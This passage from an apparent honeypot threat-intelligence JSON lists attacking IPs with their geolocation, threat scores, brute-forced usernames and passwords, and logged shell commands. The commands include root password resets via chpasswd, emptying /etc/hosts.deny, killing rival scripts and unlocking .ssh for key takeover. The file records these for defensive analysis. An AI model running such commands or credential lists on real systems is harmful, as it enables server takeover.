        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd\\nSmdhBspipfGI\\nSmdhBspipfGI\\n\"|passwd",
        "echo \"root:Lp3E82RsWQrG\"|chpasswd|bash",
        "echo \"root:aZsgQ4IuggKV\"|chpasswd|bash",
        "echo \"root:vIis8hOlMfEt\"|chpasswd|bash",
        "echo -e \"P@ssw0rd\\nSmdhBspipfGI\\nSmdhBspipfGI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:45:01.181000+00:00",
        "last_seen_30d": "2026-04-09T06:57:17.425000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 498,
        "Suricata": 125
      }
    },
    "103.239.252.132": {
      "attack_count": 400,
      "first_seen": "2026-04-08T17:04:57.523Z",
      "last_seen": "2026-04-08T17:50:12.602Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "ubuntu",
        "user",
        "ali",
        "admin",
        "bot",
        "frappe",
        "hadoop",
        "mohsen",
        "nami",
        "postgres",
        "precio01",
        "readonly",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc4rfv",
        "112233ee",
        "123",
        "123!@#qweQWE",
        "123456",
        "1234567890",
        "1234qwer",
        "20252025",
        "A123456+",
        "Bot29",
        "Frappe23",
        "QQdd112233",
        "Qwe!@#123",
        "Qwerty#123",
        "User03!",
        "Vv@123456",
        "linux123",
        "mohsen"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123!@#qweQWE\\n03vEabByiFD0\\n03vEabByiFD0\\n\"|passwd",
        "echo \"1234567890\\ntK43uachWGoM\\ntK43uachWGoM\\n\"|passwd",
        "echo \"qazwsx\\nzryPM6M3Ctt0\\nzryPM6M3Ctt0\\n\"|passwd",
        "echo \"root:ECoNsMLDsxf8\"|chpasswd|bash",
        "echo -e \"123!@#qweQWE\\n03vEabByiFD0\\n03vEabByiFD0\"|passwd|bash",
        "echo -e \"1234567890\\ntK43uachWGoM\\ntK43uachWGoM\"|passwd|bash",
        "echo -e \"qazwsx\\nzryPM6M3Ctt0\\nzryPM6M3Ctt0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 63526,
      "as_org": "Systems Solutions & development Technologies Limited",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T17:04:57.523000+00:00",
        "last_seen_30d": "2026-04-08T17:51:19.876000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 75
      }
    },
    "103.243.26.174": {
      "attack_count": 355,
      "first_seen": "2026-04-09T06:51:59.113Z",
      "last_seen": "2026-04-26T17:47:26.121Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "test",
        "user1",
        "ali",
        "deploy",
        "factorio",
        "frappe",
        "gittest",
        "kontakt",
        "postgres",
        "pymes",
        "simon",
        "test001",
        "tmpuser",
        "ubuntu",
        "user42",
        "userx"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!qazXsw2",
        "012",
        "1119",
        "123654",
        "12Qwer",
        "12qwaszx",
        "1qazzaq1",
        "2026",
        "A444444",
        "Admin123456789@#",
        "Computer1",
        "Pa66word",
        "Pass2023",
        "ZAQ!2wsx2026$",
        "a@123",
        "admin123456789",
        "adminstr@tor"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qwe123\\nS7FYEH1o2KFZ\\nS7FYEH1o2KFZ\\n\"|passwd",
        "echo \"root:aOcnPAFJM9pX\"|chpasswd|bash",
        "echo -e \"qwe123\\nS7FYEH1o2KFZ\\nS7FYEH1o2KFZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 458,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:51:59.113000+00:00",
        "last_seen_30d": "2026-04-26T17:48:30.473000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 355,
        "Suricata": 103
      }
    },
    "93.93.202.165": {
      "attack_count": 332,
      "first_seen": "2026-04-10T01:23:35.556Z",
      "last_seen": "2026-04-10T02:00:04.013Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "user",
        "user2",
        "bot",
        "csuser",
        "deploy",
        "judith",
        "postgres",
        "salim",
        "tempuser",
        "tester",
        "wilson"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "!1qaz@2wsx",
        "1234-qwerty",
        "123456",
        "2wsx@WSX",
        "CDtianrun888",
        "Frappe03!",
        "Postgres19",
        "Qazwsx888!",
        "Root4321@123",
        "Test4",
        "User!@",
        "ZAQ!2wsx2023$",
        "a123456jD",
        "aa111111",
        "adm1n",
        "bot4",
        "csuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nA82rbFiVPDVF\\nA82rbFiVPDVF\\n\"|passwd",
        "echo \"Test4\\n7zMeYkqxprrW\\n7zMeYkqxprrW\\n\"|passwd",
        "echo \"User!@\\nmc4yo6EA5wPf\\nmc4yo6EA5wPf\\n\"|passwd",
        "echo -e \"12345678\\nA82rbFiVPDVF\\nA82rbFiVPDVF\"|passwd|bash",
        "echo -e \"Test4\\n7zMeYkqxprrW\\n7zMeYkqxprrW\"|passwd|bash",
        "echo -e \"User!@\\nmc4yo6EA5wPf\\nmc4yo6EA5wPf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 210785,
      "as_org": "KAPELAN Medien GmbH",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:23:35.556000+00:00",
        "last_seen_30d": "2026-04-10T02:01:09.192000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 69
      }
    },
    "103.52.152.101": {
      "attack_count": 330,
      "first_seen": "2026-04-21T02:32:37.989Z",
      "last_seen": "2026-04-21T03:18:49.650Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "afa",
        "ubuntu",
        "ali",
        "customer",
        "deploy",
        "ftpuser",
        "git",
        "prashant",
        "sammy",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "110",
        "1111111",
        "12344321",
        "123qwe!@QWE",
        "A1234567O",
        "Aa10202540",
        "Abcd123456789!!",
        "Admin.123456",
        "P@ssw0rd",
        "Qazwsx11111@123",
        "Root1111@#",
        "Sammy22",
        "ZAQ!2wsx54321@123",
        "Zz123456..",
        "aaAA1234!",
        "afa",
        "git321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"afa\\nFIoYsRCJDlh3\\nFIoYsRCJDlh3\\n\"|passwd",
        "echo \"root:Cd8D2mqtH7a5\"|chpasswd|bash",
        "echo \"root:mCl02HqDJKTn\"|chpasswd|bash",
        "echo -e \"afa\\nFIoYsRCJDlh3\\nFIoYsRCJDlh3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T02:32:37.989000+00:00",
        "last_seen_30d": "2026-04-21T03:19:57.865000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "69.74.29.21": {
      "attack_count": 330,
      "first_seen": "2026-04-14T06:14:36.765Z",
      "last_seen": "2026-04-14T06:55:49.692Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "odoo",
        "sopuser",
        "appuser",
        "dev",
        "gitea",
        "kira",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234Qwert",
        "1QAZ2wsx..",
        "1qaz2wsx",
        "4rfv$RFV",
        "830922",
        "A123456/",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
        "Dev30",
        "Frappe17!",
        "Odoo13!",
        "Odoo27",
        "Password12345",
        "QWER1234qwer",
        "Redhat",
        "Root2018!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Changeme_123\\nwmt6TAaQshYi\\nwmt6TAaQshYi\\n\"|passwd",
        "echo \"root:7DRnjsDgYeTr\"|chpasswd|bash",
        "echo \"root:opZ5yTA7eUqz\"|chpasswd|bash",
        "echo -e \"Changeme_123\\nwmt6TAaQshYi\\nwmt6TAaQshYi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 54004,
      "as_org": "Cablevision Lightpath LLC",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:14:36.765000+00:00",
        "last_seen_30d": "2026-04-14T06:56:56.501000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "130.51.21.20": {
      "attack_count": 304,
      "first_seen": "2026-04-02T17:50:14.061Z",
      "last_seen": "2026-04-02T18:49:22.192Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123445",
        "1@2@3@4@5@6",
        "2025@",
        "A12345@",
        "Abcdef",
        "Bd123456",
        "Electronic@123",
        "Eshore!!1",
        "Manager@123",
        "P@55w0rd77",
        "Pa55w0rd@12345",
        "Royal@123",
        "Sterling",
        "blonde",
        "filip",
        "kakakaka",
        "mehmet123",
        "root123a"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:N0cxqAOR8eew\"|chpasswd|bash",
        "echo \"root:dTc7lSICe55a\"|chpasswd|bash",
        "echo \"root:damDZoUTInny\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:50:14.061000+00:00",
        "last_seen_30d": "2026-04-02T18:50:29.342000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "43.130.57.128": {
      "attack_count": 267,
      "first_seen": "2026-04-23T07:06:19.704Z",
      "last_seen": "2026-04-23T07:48:05.229Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin1234",
        "steam",
        "carlos",
        "cistest",
        "ftpuser",
        "odoo",
        "test",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0123456789",
        "1212",
        "123123123",
        "123456",
        "123456789Ab",
        "Abcd123456789@123",
        "Love@123",
        "Odoo123!",
        "Qazwsx11111!@#",
        "Qwerty@123",
        "Root01#$",
        "Root54321@",
        "Steam2025!@#",
        "Test19!",
        "Welcome123",
        "Ww123456789",
        "aa778899",
        "admin1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin1234\\nAdubiAF6quOl\\nAdubiAF6quOl\\n\"|passwd",
        "echo \"root:A3hFxfwcNpPs\"|chpasswd|bash",
        "echo -e \"admin1234\\nAdubiAF6quOl\\nAdubiAF6quOl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:06:19.704000+00:00",
        "last_seen_30d": "2026-04-23T07:49:08.675000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 66
      }
    },
    "136.248.247.188": {
      "attack_count": 263,
      "first_seen": "2026-04-19T17:51:55.969Z",
      "last_seen": "2026-04-19T18:34:45.826Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftptest",
        "newuser",
        "teste",
        "claude",
        "d",
        "ftpuser",
        "kevin",
        "n8n",
        "odoo",
        "sammy",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "10041004",
        "123",
        "123321",
        "12345678",
        "232323",
        "Azerty123@",
        "N8n123!",
        "Password123",
        "Qazwsx2020!!",
        "Qazwsx9999..",
        "Root0000.",
        "Root2019@@",
        "Ubuntu8",
        "Welcome@2026",
        "a12345661",
        "aaDD112233",
        "abc1234."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123321\\nBl1s0T77oX7p\\nBl1s0T77oX7p\\n\"|passwd",
        "echo \"1234\\nzTZcjxhav1o6\\nzTZcjxhav1o6\\n\"|passwd",
        "echo -e \"123321\\nBl1s0T77oX7p\\nBl1s0T77oX7p\"|passwd|bash",
        "echo -e \"1234\\nzTZcjxhav1o6\\nzTZcjxhav1o6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:51:55.969000+00:00",
        "last_seen_30d": "2026-04-19T18:35:52.613000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "157.10.160.103": {
      "attack_count": 263,
      "first_seen": "2026-04-06T18:21:24.959Z",
      "last_seen": "2026-04-06T19:09:17.991Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ec2-user",
        "monitor",
        "admin1",
        "bot",
        "bryan",
        "deploy",
        "dev",
        "frappe",
        "ir",
        "n8n",
        "pwserver",
        "steam",
        "sysadmin",
        "temp",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0102026405",
        "1",
        "1234",
        "Admin12@",
        "Admin@123",
        "Dev123456",
        "Frappe6",
        "Monster85!!$$",
        "ZAQ!2wsx2022!!",
        "bbAA112233",
        "bot27!",
        "bryan",
        "frappe1",
        "galaxy123",
        "ir",
        "kk",
        "lalala123",
        "monitor"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"monitor\\npVhTsDWgZi9q\\npVhTsDWgZi9q\\n\"|passwd",
        "echo \"password123\\nvBjYjviQWp84\\nvBjYjviQWp84\\n\"|passwd",
        "echo -e \"monitor\\npVhTsDWgZi9q\\npVhTsDWgZi9q\"|passwd|bash",
        "echo -e \"password123\\nvBjYjviQWp84\\nvBjYjviQWp84\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:21:24.959000+00:00",
        "last_seen_30d": "2026-04-06T19:10:26.644000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "20.24.100.112": {
      "attack_count": 263,
      "first_seen": "2026-04-06T10:47:52.651Z",
      "last_seen": "2026-04-06T11:37:06.608Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mc",
        "odoo",
        "steam",
        "test",
        "app",
        "newuser",
        "oracle",
        "prowlarr",
        "teamspeak",
        "tom",
        "ubuntu",
        "userftp",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "1234",
        "Abc123456#",
        "Abcd1234!@#",
        "Admin12345#",
        "CC",
        "Cordun2026@",
        "P@ssw0rd2025!",
        "PASSword",
        "QWEASDzxc123",
        "Qwertyui123456",
        "Teamspeak1234",
        "abc123###",
        "dell@123",
        "ftp123",
        "hello123",
        "odoopass",
        "oracle8"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
